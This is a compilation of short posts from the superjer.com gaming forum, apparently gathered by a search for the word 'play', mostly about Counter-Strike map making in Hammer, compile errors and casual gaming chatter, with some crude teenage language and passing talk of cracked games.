In OK. So I made a really good map. I want my custom hostage skins by Killer-Duck:
The map is too complex. I think you need to start optimize that map if you want to be able to play it...

In OK. So I made a really good map. I want my custom hostage skins by Down Rodeo:
Get rid of some or don't play your map. Also, please, put some newlines into your code block, the page size is ridiculous.

In A Map by fedex _:
turnip1 said:
This is simple the obvious answer is to make a super Mario Party 3 map with all the mini games to play. or Mario Party 2. Not 1 though or 4 or 5 or 6 or w/e the number is currently at.



that is a very big project if i was to do that... lol it probably take 2 months if i always workin on it , but i never really on my pc that much

In A Map by turnip1:
This is simple the obvious answer is to make a super Mario Party 3 map with all the mini games to play. or Mario Party 2. Not 1 though or 4 or 5 or 6 or w/e the number is currently at.

In the cloud posts teh game by turnip1:
Ok i have a great game to play that requires no knowledge or thinking at all...

Ok all you have to do is post something that is somewhat relative to the person before you but have no relevance to the person before them. To make it interesting you should lose points if you seem to fail at this game.

Judging should be done by the people of www.superjer.com.

I'll start.

Does anyone else realized that Fedex is a little bit slow and asks retarded questions?

I can already tell this will be a terrible game...

In N64 Emu by fedex _:
Well , I've been playing N64 Emulators for awhile do , so do any of you's play it? Cause if you do I am trying to find MARIO KART 64 , but can't seem to find it , Any has it?

In cloud system by SolidKAYOS:
I have DSL but its shit cause my sis is always having two computers on and it kills my connection so its hard for me to play sometimes.

In cloud system by Mate de Vita:
You could always play bots...

In Ventrilo? by aaronjer:
None of us have played EVE in a while. GratoJams, Andew and I play nothing but Dwarf Fortress. We eat, sleep, breathe and dream Dwarf Fortress. We are nothing without Dwarf Fortress.

In cloud system by the_cloud_system:
Ok, I'm in the middle of Arizona and I have a connection of exactly 100 kbps (Wildblue). Satellite...

My grandma has a dialup connection of 26.4 kbps. It is slow.

I'm thinking of getting a bla bla bla phone line hardware put in my computer and try to play CS. So tell me, O wise Jer of superness, tell me now.

In Ventrilo? by NatureJay:
Zarathustra said:
NatureJay said:


As it turns out, it is. Who knew?


Woot, gratification!

aaronjer said:
You should get on vent more, Enjay.

I'll try. I think I associate being on vent with playing EVE and I haven't had time to play EVE lately?

aaronjer said:
Why are you such a bitch?

Philosophers have pondered this question for aeons.

aaronjer said:
Not that I mind talking to Jake?! all day.

If there's a person who's worth talking to, it's Jake?!

In by Homeslice:
I cant spell for shit or I would play too!

In Halo 3 by Alien Hominid:
Fedex consumer said:
ha lol that sucks well you play anything else besides halo mayb we play gow1


He doesnt play anything besides Fable II and Final Fantasy when I see him on.

In Dream Time by eDan Co.:
I have very strange dreams. Just the other night I dreamed one single word, 'Demonym'. No context, no people, no nothing! I don't have dreams about words often, but it happens occasionally.

A weird type of dream that I do have a lot is dreaming music. It's not like I dream that I went to some concert, I just dream music. For instance, I dream a duet I play on the clarinet, but in the dream I hear a whole symphonic orchestra playing it with a vivid basso continuo line. Sometimes I even dream a tune I can't recognize, but I can still remember it, so I can play it by ear on the piano. Weird shit.

In Halo 3 by fedex _:
Havokk Edge said:
Fuck Halo.

Mine was Stolen cause im fucking nice to every1 and get treated like shit for it >_>Let a guy borrow it and i never saw it again..fucking cunt.Then he had to get into a fight with me a week b4 school let off for summer cause he already failed his classes and he wanted to go home and almost made me fail for it....fucking cunt....

I'm sorry..were was we....





ha lol that sucks well you play anything else besides halo mayb we play gow1

In A Map by SolidKAYOS:
Wtf is a N64?(Im kidding but the im implying i dont play one.)

In Another generator by green_meklar:
Well, as far as I know most of the standard entities (light, light_environment, func_wall, func_water, func_door, func_ladder) are supported by Counterstrike, and one of the posters on the VERC forums, wolf, said that the Half-Life textures were also compatible with Counterstrike. So although the program can't make Counterstrike-specific entities itself, you should be able to generate a 'bare' map (that is to say, no items, monsters, player spawns or chargers on the map) and then add any necessary Counterstrike entities manually. In fact, technically the info_player_start and info_player_deathmatch entities (the former without suits) generated by the program would work for Counterstrike CT and T spawn points too, however at the moment they're placed randomly with no consideration for teams. The layout of most of the generated maps also isn't very conducive for team play, although a desert with buildings in it might work out. You could also for example simply generate a building to place in an existing layout.

In Another generator by Down Rodeo:
Ah, I get it now. This is making more sense. I'll try again. When I read that I had thought like the length... Even though the dimensions were done in the previous step. I was tired

...

It works now. Uh, if I posted this, would anyone like to try compiling it? I could but have no copy of anything to play it with that is easily accessible.

In PS3 and KZ2 by SolidKAYOS:
dude i dont even play the game and i knew that

In Weird problem... by turnip1:
When i play my map in single player just testing it right after the compile i have this trap where i press a button and part of the floor breaks. It worked perfectly in the test but when i upload it to my server the button doesn't work and the pieces that are supposed to break are invisible but are still there and you can walk on nothing? Is this my server or did i do something wrong?

In PS3 and KZ2 by Down Rodeo:
So does my dad, but he's in jail now.

You ought to do yourself a favour and play, I dunno, any game from the Orange Box. Or Bioshock. Far Cry 2 is a good shout. But Killzone... it's like the PS3's Halo, and this is not a good thing.

In My Pc by Down Rodeo:
Uh, I can play CounterStrike on my tiny laptop. Which is far worse than your PC, so I don't know what the issue is. Try downloading the latest drivers for all your kit... Uh. Um. Dunno.

In My Pc by fedex _:
well i not gonna get fancy but this is my rig and i tell prob when finish



x850 ati 256 agp.
80gb hard drive
1g ram
sound card
razor/microsft habu
and a dell keyboard lol


NOW!
when i play cs sometimes my pc fails on certain maps and i usally play kz maps and bhop.when i see other ppl playin my mouse skips or either shuts on and off /// any1 know why?

In I did make bsp but,,,, by fedex _:
ok i did the other way to make the bsp and run it by .bat file but when i wanna play it in cs it freezes at starting local game server only 2 bars go and it freezes , so does any 1 know how to fix that?

In SRAW by molkman:
I only use IE7 when I have to move to a PC to play some QuakeLive, since that doesn't work on my iMac yet, though.

In Skylight texture is too big by Outrageous09:
I've been making maps for a while, everything was working fine until I recently keep getting this error when I try to play the map on a server, it says something like HL error. the skylight texture is too big.

Please can someone help me?

In eudemons online by Shinrei:
its a horrible game but come play with me on LA/LasVegas server :D

In Poll: Delete this stupid section? by SolidKAYOS:
Like we do anything in my section anyways.Jigsaw goes off and leaves me and im left alone to play darts on the sealing ending up not throwing one hard enough the dart comes down ad pokes my eye out and my eye gushes blood and no one to help me....

In Schpida! He is our hero! by SolidKAYOS:
AJ you play the sims?Cool

In xXJigsaw23Xx by SolidKAYOS:
*Cough*

You and me used to be neighbors till your parents got divorced and you went to Neverland.You hang out at wally world constantly and dont care to cross the 4 lane on foot with oncoming traffic.Your taller than me,which is unusual for a guy whos two grades under me and a year younger which i know some 8th graders thats taller than me.You play football and you dont even know what your doing when playing.But you do it anyways.The wally world thing is only when your at your moms.when your at your dads you harass me all the time and we play....something...actually not much now..together on xbox live.You also like Pandas.You have way more friends than me.Your kind of my opposite if you think about.Theres moreeee.Just too lazy.

In Havokk Edge by xXJigsaw23Xx:
OH MY GOD are you serious, that is a first also you know you could also play with your dogs you never even notice as existing

In QUAKE LIVE by SolidKAYOS:
Ok this seems to play like Unreal.I thought it was pretty fun just through training i hurt my hand (no joke) and crash beat my ass 13-15.I think its because i cheated my way through to get to expert by shooting my self backwards with the rocket launcher down the hallway.

Fun though.

In HELP COMPILE ERROR PLEASE !! URGENT by Mate de Vita:
You have to put more than just one info_player_start and info_player_deathmatch in the map. If you want 8 people to be able to play, you need 4 info_player_starts and 4 info_player_deathmatch.

In QUAKE LIVE by Mate de Vita:
So you can actually just play this in your browser and you don't even have to install a lot of stuff? That's great!

Anyway does it work on Linux?

In QUAKE LIVE by eDan Co.:
molkman said:
It runs extremely well and is playable in the browser without installing much stuff (you have to install a little client though).


molkman said:
It's exactly Quake 3 Arena, but now you can play it in your browser without installing much stuff and all. It's awesome.


You sound brainwashed...

In Ignore this EVE related post by aaronjer:
Semyon Gnyevko > Yes. I have. With my not enough skills. The wings came off because I didn't have cruiser 5.

Yelina Kirilenkova > On Singularity tardo.

Platanov > I set one up to have 8 low slots.

Platanov > It's like, omg, look at all these low slots.

Yelina Kirilenkova > What else could it do?

Platanov > Absolutely nothing.

Platanov > You can't really play the game so much on Singularity.

Platanov > Just look at things.

Semyon Gnyevko > Do you mean it couldn't do anything because it was on Singularity or because it had nothing but low slots?

Platanov > Yes.

Yelina Kirilenkova > ...

Semyon Gnyevko > hate

Platanov > I don't know, I didn't mess with it that much.

Semyon Gnyevko > Hey, fake Pioter guy, have you seen the skill queue yet? Pretty sweet, huh?

Yelina Kirilenkova > I queue'd up like 13 untrained skills just for the lulz.

Semyon Gnyevko > 13 skills?! Are you mad! YOUR BRAIN WILL SPLODE!

Platanov > We're still cleaning the bits of Jaworska viscera off the inside of the POS. We don't need any more gorey messes.

Yelina Kirilenkova > I'm wearing a bag over my head just in case.

Semyon Gnyevko > Does it have an air hole?

Platanov > Your mom has an air hole.

Yelina Kirilenkova > :D

Yelina Kirilenkova > I wasn't smiling, I was showing the shape I cut into the front of the bag.

Platanov > How very abstract.

Semyon Gnyevko > Surreal, even.

Yelina Kirilenkova > I'm almost like an artist.

Semyon Gnyevko > ZOMG it's Heike.

Yelina Kirilenkova > <3

Platanov > o/

Heike Steyer > I feel so loved... *sniff*

Heike Steyer > Ahem. I mean-

Heike Steyer > HAY GUYS!

Piotyr > who are you

Heike Steyer > I'm your wurst nightmare.

Heike Steyer > The sausage of death.

Piotyr > oh well that's a coincidence

Semyon Gnyevko > Heike's our official German ringer. She's like, totally the only not Russian person.

Piotyr > I just happen to be 61% man and 39% sausage

Piotyr > who

Piotyr > not russian

Heike Steyer > Well... uh... we're not actually Russian, but we have have Russian names other than her.

Heike Steyer > Whoa!

Piotyr > I'm confused

Heike Steyer > The jig is up! He knows I'm dual logged.

Platanov > You fool.

Semyon Gnyevko > Yeah, we all know each other's passwords.

Piotyr > aha

Semyon Gnyevko > Heike's not really on, it's just me again.

Semyon Gnyevko > I'm just checking her skills.

Semyon Gnyevko > Which are not so much queue'd.

Heike Steyer > UNTIL NOW!

Heike Steyer > Everyone say goodbye to faux-Heike.

Heike Steyer > Say bye! :(

Semyon Gnyevko > you guys syck

Semyon Gnyevko > Or suck.

Yelina Kirilenkova > I was wiping burrito off my hands.

Semyon Gnyevko > Gros.

Piotyr > fat?

Semyon Gnyevko > Are you making a reference to the fact that we're talking? i.e. chewing the fat?

Piotyr > no

Semyon Gnyevko > Why not?

Piotyr > "gros" is french for "large"

Piotyr > but in normal conversation is used to mean "fat"

Piotyr > as in a fat person

Piotyr > as opposed to the actual word for fat, "gras"

Platanov > Are you saying that Gnyevko is French?

Yelina Kirilenkova > Semy is no frog, you bastard

Piotyr > I'm saying you're all making me a little suspicius of your love for the motherland

Semyon Gnyevko > *croak*

Semyon Gnyevko > That was me dying from the accusation, not making frog noises.

Yelina Kirilenkova > God! I know!

Piotyr > haha

Platanov > Wait, I thought toads croaked and frogs ribbited?

Semyon Gnyevko > And why do you suddenly know so much about the French?

Yelina Kirilenkova > Yeah, maybe faux-Pioter was right!

Semyon Gnyevko > Let's have an inquisition.

Platanov > I always love a good inquisition!

Semyon Gnyevko > I'll get the hot pokers.

Piotyr > Now you lot are sounding like a bunch of Spainards

Yelina Kirilenkova > Alright, you're just trying to cause dissent among the ranks.

Piotyr > never

Yelina Kirilenkova > The proud, loyal Russian ranks.

Piotyr > I'm merely a party officer of sorts

Semyon Gnyevko > They used to call me the Party Officer, back in the day.

Platanov > Before the operation.

Piotyr > I hear your mom was quite the party officer

Semyon Gnyevko > :(

Piotyr > :P

Platanov > At least we know you're not British now. Or you would have said mum.

Yelina Kirilenkova > I still think he might be a spy. A Danish spy.

Piotyr > they do have terrific pastries

Semyon Gnyevko > I fucking hate the danes, and I hate pastries. So it doesn't even matter what you were referring to there!

Yelina Kirilenkova > There goes my plans to say I meant whichever you didn't say.

Piotyr > Russians are know for their clever planning

Platanov > It looks like Kiri and Gnyevko were evenly matched.

Semyon Gnyevko > What do you mean? Didn't I win?

Platanov > You didn't take advantage of your lead and cease territory.

Semyon Gnyevko > FUCK! I knew I forgot something.

Yelina Kirilenkova > Looks like there will be no redrawing of the borders this time

Semyon Gnyevko > I was so close.


In QUAKE LIVE by SolidKAYOS:
Ive wanted to try it out but ive been t lazy.Unless you guys wanna set up a time to play.Id actually go in and try it.My name is SolidKAYOS i think.

In QUAKE LIVE by molkman:
They are installing an update at the moment, appearently, check back later.

It's exactly Quake 3 Arena, but now you can play it in your browser without installing much stuff and all. It's awesome.

In cs 1.6 clan. by aaronjer:
Havokk, in CS 5 people is the size of a team in league play. It's always 5v5. You can't use more than that at once. It's just difficult to play in a league with no backups because things happen and people can't play when they say they can. Scheduled games require a couple backups.

In Decals Don't Display by tehl337fan:
I see only the texture I applied to the brush. (the textures I imported from cstrike.wad)

I named my texture as "aaa" not as CLIP

I found this from your advanced tutorial. I guess I have to add a line to the .bat file to be displayed in-game. Dunno what to add though

Quote:
zhlt.wad
Add this to your textures in Hammer. It gives you all the 'tool textures' that let you make cool things. Make sure to change your HLCSG line in your compile, like this: hlcsg -wadinclude zhlt ... or else no one will be able to play your maps. (Not needed if you use -nowadtextures.)

In cs 1.6 clan. by SolidKAYOS:
aaronjer said:
Don't try to make your own clan if you don't have any RL friends to join it. Join someone else's. The main goal should be to "be in a clan so you have people to scrim with" not to "have a clan".

In the case of the clan that some people here belong to, we have far more people than are needed for one scrim, because people are commonly unavailable, and we've mostly all met in person. Not that we ever play anymore... but that's how it DID work back when anyone still played CS.


Hes got a point it is better to have a clan with friends.

In cs 1.6 clan. by aaronjer:
Don't try to make your own clan if you don't have any RL friends to join it. Join someone else's. The main goal should be to "be in a clan so you have people to scrim with" not to "have a clan".

In the case of the clan that some people here belong to, we have far more people than are needed for one scrim, because people are commonly unavailable, and we've mostly all met in person. Not that we ever play anymore... but that's how it DID work back when anyone still played CS.

In cs 1.6 clan. by SolidKAYOS:
Well you need a name.You need ppl who are actually willing to get on the times you play.The websites optional but it those get you more noticed and its cool to have a site with your cool ass theme song or what not.PPl that may want to join might want info on your clan.or might wanna try to woop your ass.

But if its only going to be 5-6 ppl your prolly dont want to go site unless you want to expand.

In Havokk Edge by SolidKAYOS:
aaronjer said:
Did you and your friends rape a nun or something? Or are your parents just really weird?


Idk. lol

But i tried to go some of my friends parties before or go to jigsaws house and theres like a 20% i can go to his house.But im not aloud to go on club trips for school no parties (even if its just a xbox party) if I have a bd party jigs is my only guest.I dont even got a cell phone.4th graders have cell phones...

But now ppl kno i cant go anywere really so i dont get invites no more.Its not ike much happens here for me anyways.Got nothing better to do than drink 12 mds a day eat some chicken and play ffxi.

Its kinda sad.

In Havokk Edge by SolidKAYOS:
NatureJay said:
He seems to be quite bored most of the time, but has no issues with his lack of life.


Actually im never bored cause i have no life.
Im not really aloud out of my house to be with my friends to have a life anyways so you guys and the ppl i play FFXI with is my only social life besides the 4 friends at school and jigsaw.

In map lag by Mnc:
i would never play my map with bots with all the waypoints required to set em up and so on. I just would be happy to have my maps suitable any server. I read the "thingy" but who knows will it help me or not

In [GM] Steve by SolidKAYOS:
Well i guess you dont find it funny since you dont play the game.

In eDan Co. by Mate de Vita:
Well that was completely unexpected
Anyway your Superjer nickname is eDan Co. though it wasn't always like that, it got changed as that is the nature of Superjer forums.
You're from Israel, you play the clarinet, you're an admin on SJ forums, you're 17 years old, you created this category and you secretly worship superjer even though you pretend you worship aaronjer.

Bet you didn't see this coming, did you?

In hl2 crashes on new map by Mate de Vita:
Mate de Vita said:
Can you play maps that weren't made by you (e.g. de_dust)?

If you can't, reinstall cs. I don't guarantee that it will do the trick but it's possible.

In Map won't run! by Mate de Vita:
Can you play maps that weren't made by you (e.g. de_dust)?

In my map freezes by Mate de Vita:
Shinrei said:
well the lights were never a problem on my other maps it jus tlit everything up but yea i shud take away teh wad files thanks and one more question in my maps folder under cstrike every othe rmap has a .nav file and im confused wat its suppoes to be any ideas

The .nav file is the thing that tells the bots how to move in the map (where to jump, where to crouch etc.). It's created automatically when you first play a map with bots.

In error compiling by jozz:
i have another problem. -texdata # : Alter maximum texture memory limit (in kb)
-chart : display bsp statitics
-low | -high : run program an altered priority level
-nolog : Do not generate the compile logfiles
-threads # : manually specify the number of threads to run
-estimate : display estimated time during compile
-verbose : compile with verbose messages
-noinfo : Do not show tool configuration information
-dev # : compile with developer message

-colourgamma r g b : Sets different gamma values for r, g, b
-colourscale r g b : Sets different lightscale values for r, g ,b
-colourjitter r g b : Adds noise, independent colours, for dithering
-jitter r g b : Adds noise, monochromatic, for dithering
-nodiffuse : Disables light_environment diffuse hack
-nospotpoints : Disables light_spot spherical point sources
-softlight r g b d : Scaling values for backwards-light hack

-customshadowwithbounce : Enables custom shadows with bounce light
-rgbtransfers : Enables RGB Transfers (for custom shadows)

mapfile : The mapfile to compile

The system cannot find the file specified.
Press any key to continue . . .

is there anything wrong??
ican't find any mapname.err
but when i try to play but nothing happened again

In Here ya go, try one of these! by aaronjer:
That's ridiculous. I would NEVER play Mario Kart with my Japanese girlfriend.

In Quake Live by SolidKAYOS:
www.quakelive.com

Im just ganna do this for Molkman
I havent tried it yet but i did sign up i will play later when my FFXI party disbands.

In Texture Ugliness! by Mate de Vita:
L0neW0lf said:
oH! yea...i made it a roof and workd :)...and abt "dumbass"...I m noob for this soft thats y.
but y did i heard the water flowing?? and y did my health keep on decreasing?
Anotha doubt,I created func_water but its harmless no health i decreasing how i will decrease players or bots health when they enter water?

First of all always check for an .err file before starting the game. If there is an .err file in your zhlt folder, don't play the map, instead you should try to find the problem.
The first thing you should do is to open your map in hammer and press alt+p then fix any problems that might come up.
Secondly open the .err file and see what it says. Sometimes the explanation in the .err file is logical enough.
If you still cannot find the problem, you can ask about it here and we'll help you (in which case you should post the content of the .err file if there is one).

Also read the mapping FAQ and before asking you can always use the search function as your question has probably been asked and answered before.

A func_water will only hurt a player if he swims in it for too long (lack of oxygen). If you want it to hurt the player as soon as he touches it, you have to cover the whole area of the func_water with trigger_hurt.

All in all, use your common sense when mapping. You cannot move if you're in a solid box, can you? (Actually you can't even be in a solid box, but that's beside the point now).

In Texture Ugliness! by L0neW0lf:
i added light_environment and is coming right. Now the problem is...when i try to play...my player is not moving!! and after 5 seconds I can hear water flowing and my health downs and dies! I m sure i dint add any water element.

this is my map...jus a simple one for testing. The whole outer cube is the sky.

In Texture Ugliness! by Mate de Vita:
L0neW0lf said:
can anybody temme y did this happen when i made an open air map(ie 4 walls and ground but no roof).

If you have no roof, it will cause a leak and yes, most times you can play the map even with a leak but it will cause strange problems ingame (like this one).
If you want to make an outside map, then you have to make brushes all around normally and then texture the top brush (roof) with the sky texture. You can also use the sky texture on higher side brushes.

In Texture Ugliness! by Down Rodeo:
You might be able to... does it create a BSP file? If so you ought to be able to play. It just goes rather f'd like this AFAIK.

In Texture Ugliness! by KnightOfH3ll:
thats strange. When i have leaks i can play the map normally. Only the spot were the leak is is like this. it takes the shape of the prvious thing you have looked at.

In Texture Ugliness! by eDan Co.:
It's not a leak. If it were, you would not be able to play the map at all.

In Hammer, go to Map-> Map properties and increase the Max Viewable Distance.

In Tab order by Down Rodeo:
Oh that's sexy. I can now say goodbye to mice!

Incidentally it has become much, much harder to play TF2 of late.

In Left 4 dead online by KnightOfH3ll:
Sounds good but is it safe to use? I mean i play l4d on my dads pc and he doesnt want me installing useless things on his pc. Is this guaranteed to work?

In Left 4 dead online by KnightOfH3ll:
Ok i downloaded left 4 dead (cracked ofcourse) by a torrent site. my question is. Can i play on non steam cracked servers online with a pach or somehting? I have downloaded a pach and seems to connect alright. but there are no ppl onoine to play. WTF? i mean there has to be some1 out there playing. Any advise for online paly with no steam install? I hate steam realy. Its annoying.

In helicopter? by reece:
yes i know, i can play on other servers..

In Groups and Definitions by Mate de Vita:
SRAW said:
i should be on the counter strikers list, mate de bullshit probably sucks anyway, ive been playing cs for 5 years(since condition zero came out)

Well I may suck but the fact is that I've barely even played any cs multiplayer except with a few of my friends. I usually play bots which is fun but not very chalenging... So you can't really compare me to a cs addict.
But I think you're in the proper group, don't you?

In Groups and Definitions by aaronjer:
Oho, I was playing counter-strike during the first public beta. Beat that! Oh, you can't! Because that's as early as it gets, bitch!

...not that I STILL play it or anything.

Besides, that list leaves the assumption that there are people here who play more games than me, which is definitely not true. I'm at a computer or console 95% of my waking time, during probably 90% of that time I'm playing some kind of game. I may ALSO be posting on SJWEB/com.forams, but trust me, I'm pretty much always playing a game or sleeping.

In 2 Questions about Hammer: by AntonFifty:
Thanks :)
Yes, they are for the same team. I thought I needed 36 spawn for each team? or else how could 36 players play at the same time?

EDIT: The nr.2 just fucked it up :S
Isn't there another way to make all that black thing around the map to go further so I can build my map out?

In helicopter? by Down Rodeo:
OK, somehow it's not trying to set up a windows dedicated server. See if you just play on other servers and not one on your local machine it ought to work.

In Once again I feel nothing but hatred for Windows Vista. by jrkookid:
Windows Vista is mainly for office work by the way or you can say a bad attempt to copy the iMac. Vista has good security but not meant to play games with. Sometimes you have to just go with it if you have it like I do. What a drag

In Map compile error! Need help quickly!!! by AntonFifty:
I need to compile the .map into a .bsp file i think, before you can play. And the batch file doesn't make the bsp file, it stops in the middle of the compiling.

In Half life vs counter strike, whats the difference? by LivingDog:
Half-Life is perhaps the best game ever made. CS is a gay.wad game where 13 year olds get to act like they matter and pwn u with their hax.

HL: best game ever

CS: team play where no one plays as a team.

... wait, is the op pulling the leg of the forum???

This is real: http://www.shopzilla.com/ur-dumb/search

In helicopter? by Mate de Vita:
reece said:
yeah i can play other non custom maps

what about other custom maps? Create a very simple test map (just a hollow cube with a light and an info_player_start) and try compiling and playing it. If it doesn't work, something is probably wrong with your compiling.

In helicopter? by reece:
yeah i can play other non custom maps

In helicopter? by SuperJer:
Can you play other maps?
If you can play other maps, then something is wrong with your map.
If you can't play other maps, something is wrong with the game.
It's that simple.

In helicopter? by reece:
also when i compile my map everything goes good then i try play it but it doesnt load, then i try again and it freezes my cs

In The Game by xXJigsaw23Xx:
THE GAME


Rule 1:
Everyone is playing the game. They always have been and always will be. Participation in a game requires neither consent nor awareness of its existence.

Only when someone has told you about The Game does it become possible to lose, unless you independently create The Game.

The creator of The Game was the first person to realise that he was playing, and was therefore the first person to lose.

Variations:

You only begin playing The Game when you become aware of its existence.
You may choose to not play The Game.

Rule 2:
Whenever you think about The Game you lose

Rule 3:
Loss must be announced.

This is the only rule that can be broken.

You must tell everyone you can that you have lost.

It is possible to explain The Game to someone without realising that you have lost. Whether this counts as cheating or not depends on your interpretation of Rule 2.

Variations:

Upon loss you must explain the rules of The Game to anyone who is unaware of them.
A warning is required before explaining The Game to others.
Every loss must be announced to at least one person.


In L4D by xXJigsaw23Xx:
So still you know you play it ALOT!!!

In Lighting in Valve by Killer-Duck:
What do you mean everything is too dark? If the map is too dark when you play it you need to insert a light-entity.

In L4D by SolidKAYOS:
Ya Jigs i need my L4D back sometime >_>I wanna play with my bro!

In The Hold Steady by NatureJay:
Fleet Foxes, I've also heard of, but not heard directly. There's a radio station back home that would play stuff like that all the time, but I haven't listened to it in months because I've been on the other side of the country with an erratic internet service that keeps me from live streaming.

I don't seem to pay as much attention to newly released music as I did a couple of years ago. About all that I bought this past year that was "new" was "Attack and Release" by The Black Keys (up there with their best), "The Virginia EP" by The National (not bad for B-sides, but not something you can listen to all the time), and "Dear Science" by TV on the Radio (still like their old stuff better than the past two albums, but it's really mostly about the singing anyway). I should probably grab the latest two Okkervil River albums when I get a minute, but the most exciting band discovery for me in 2008 was a group that hasn't released anything in ten years.



Jazz is tasty music.

In map by Masta Frank:
ecah time i play the my map after 1 round it just shuts down. why is it doing this and how do i fix it.

In recompile by newbie:
But if I used a texture in hammer I cant play the map without the textures in my cstrike folder even though I didnt wrote anything (-nowadinclude -include wad blahahblahha) in the .bat file?

In recompile by newbie:
http://www.fpsbanana.com/maps/72379
There aren't so many hnsmaps available so I think that just why people play it. It is NOT a quality map.

In recompile by SRAW:
tesxtures dont matter, i believe at least, but editing the wad file should allow them to play wth the old version
and can u show some pics of ur map? i wanna see it

In Anybody played Fable? by NatureJay:
I watched my brother play it a few times, and like all things I've watched him play, I developed a quiet loathing of it thereafter.

The sandbox did not seem particularly compelling.

In how can i play my map at a online/dedicated server? by kris111:
how can i play my map at a online/dedicated server?

Whats the files i need?


In Anybody played Fable? by SolidKAYOS:
I played both of them.I loved both of them.Id play that game over and over.

In Steam problem by Brolyfreiza:
oh kk thx :)

ok now i have another problem, and this title suits it.

when i press any key in the command window, steam opens up and asks for my username and passoword.

how can i play cs without having to use steam? cause i hate steam, i quit it months ago and dont know what to do... and no i dont have:

C:\seirra\counter strike\bla bla bla"
its all in program files

In Steam problem by Brolyfreiza:
nope, nothing wrong... i play it fine.
it's a 2 in 1 thingy
i got cs zero, and cz 1.6 from the same file setup... and both of them are in the Valve folder, working just fine .
so im different from some of you guys, but im sure there is a way to write it down in the mapname.bat

In Laggy like h3ll by SuperJer:
I used to play with bots and it was kind of gay. All the bots would have a big orgy at the CT spawn and I'd usually be like "what the hell" and join in.

In Adding my own Textures in my maps (Clarification from FAQ needed by eDan Co.:
If you're trying to play the game, the WAD file needs to be in your Steam/cstrike directory.

If you're trying to open the map in Hammer, you need the WAD to be loaded in Hammer like the tutorial explains (in the tutorial you load cstike.wad. This time load your own WAD)

I hope I understood you correctly.

In Laggy like h3ll by SRAW:
wow, bots automatically learn the map, and y would u want to play with bots?

In Surf Maps? by jrkookid:
newbie said:
yes it is possible to make a surfmap. but when u play it u must change the sv_airaccelerate to 100.

http://www.superjer.com/forum/how_to_make_surf_map.php

Thanks Mate!

SRAW said:
wtf i didnt know u mapped in hammer

I am using this for future reference because I lost my CS and I love surfing maps.

In Surf Maps? by newbie:
yes it is possible to make a surfmap. but when u play it u must change the sv_airaccelerate to 100.

http://www.superjer.com/forum/how_to_make_surf_map.php

In Laptop Keyboard Replacement by molkman:
Okay. I'll try the USB-keyboard solution first then, but I don't have one here right now and the stupid laptop has NO NORMAL KEYBOARD SLOT. (What? How does that make sense? )

But some friends are about to come around so we can do a little jam session (lol) and they bring a USB-keyboard. Hopefully.

By the way, I just need the laptop to amplify my MIDI-keyboard for a guy to play music that is not drowned by the super loud drumset. Also to attach the microphone. So we can jam along nicely.

In Some questions i cant find sollution by Down Rodeo:
There's no other way (there's not other way, all that you can do is watch them play...) because as MdV and Edan have said they are bad brushes. From a bad neighbourhood. If you always get this when you perform vertex manipulation, give up trying to model the stuff like that.

In Mod_Extradata: caching failed by EMO_with_AWP:
A missing file required to play your map but not in your CS?

Possibly.. I'm not sure really

In New Truck! by SRAW:
eDan Co. said:
SRAW said:
jrkookid said:
Havokk Edge said:
It's always quiet when I play FFXI.

FAIL


I believe that's a double fail.

i believe its a Triple fail

In texture issue by Masta Frank:
every time i compile my map and try to play it it shutsdown and says this "Missing frame 0 of -2rosewood



In New Truck! by eDan Co.:
SRAW said:
jrkookid said:
Havokk Edge said:
It's always quiet when I play FFXI.

FAIL


I believe that's a double fail.

In New Truck! by SRAW:
jrkookid said:
Havokk Edge said:
It's always quiet when I play FFXI.

FAIL

In New Truck! by jrkookid:
Havokk Edge said:
It's always quiet when I play FFXI.

In New Truck! by SolidKAYOS:
Its always quiet when i play FFXI

In Bump 'n' Flump by SRAW:
i learned to play the piano, recorder, drums, violin and other crap, but they really dont interest me and i just want a better computer

In Bump 'n' Flump by molkman:
Cool, saxophone is also an awesome instrument. And so is the oboe.

I play the drums and cello, just for the record.

In Bump 'n' Flump by Mate de Vita:
ok, I'm not following this anymore...

I play saxophone.

In football play offs by UberJer:
They are. And they play the only sport worth watching besides college football.

In How to play Wii games without modchip??? by UberJer:
stratos said:
Can you give me a solution on how to play Wii games without having to pay and without using a mod chip??


So... you want to know how to physically steal shit then?

In How can i make knifes only in hammer by Mate de Vita:
Ah now I see that there is a problem with my method because apparently the trigger_once does not reset every round so it will hurt the players only the first round (a very unwelcome handicap in the cs code apparently ).
And since the trigger_once doesn't have an on/off state you can't reset it with trigger_relay each round.
So that makes the map a little tougher to make (now I see why the original one uses teleports).

Now I see two possible ways of making this map:

One includes a complicated combination of a multisource, trigger_multiples, trigger_relays and a func_door (no, I'm not joking, you need an inaccessible func_door - with it and a trigger_relay you can reset an entity's state at the beginning of a round). I would not suggest using this one because it gets too complicated fast so I won't even explain it.

The other is making separate rooms (inaccessible) with trigger_multiples and trigger_teleports. This is how it's probably done in the original map and this is what I'll use in the example map.

EDIT: all this teleporting is tougher than I thought. You have to make a trigger_teleport under every single spawn point and I'm getting a lot of worldspawn deaths when I play with a lot of bots for no apparent reason.

In armoury_entity problem by Mate de Vita:
bandora said:
Mate de Vita said:
Do you have a max number of players set?


Sorry I was out of town for a long time..

Anyways back to the problem how do I set a max number of players?

Maybe if I do that it will fix the problem.

I do, though, have 10 info_player_deathmatch and 10 info_player_start set into different places.

If you want a map that can play on any server you'll need 16 spawn points for each team.
Anyway back to the question at hand. When you're creating a server, there should be an option (under the 'Game' tab Max. players).

In This must be the best movie ever. Ever. by eDan Co.:
Well, it definitely isn't gonna be playing here.

If you find this, quote this post and see what a mess I've made.

In Have the greatest idea for a map. HELP by SRAW:
Mate de Vita said:
usk4bal said:
And as for 50 players... you can edit the source code into allowing more.

Ah I see. Yes, if you know coding then it would be possible.
I saw a server yesterday that had (or supposedly had) 256 max players and was full I don't know who would play cs 128 vs 128 though


u cant edit the source code dude, firstly wat about spawning, and the server cant hold that much ppl


In Have the greatest idea for a map. HELP by Mate de Vita:
usk4bal said:
And as for 50 players... you can edit the source code into allowing more.

Ah I see. Yes, if you know coding then it would be possible.
I saw a server yesterday that had (or supposedly had) 256 max players and was full I don't know who would play cs 128 vs 128 though

In Have the greatest idea for a map. HELP by usk4bal:
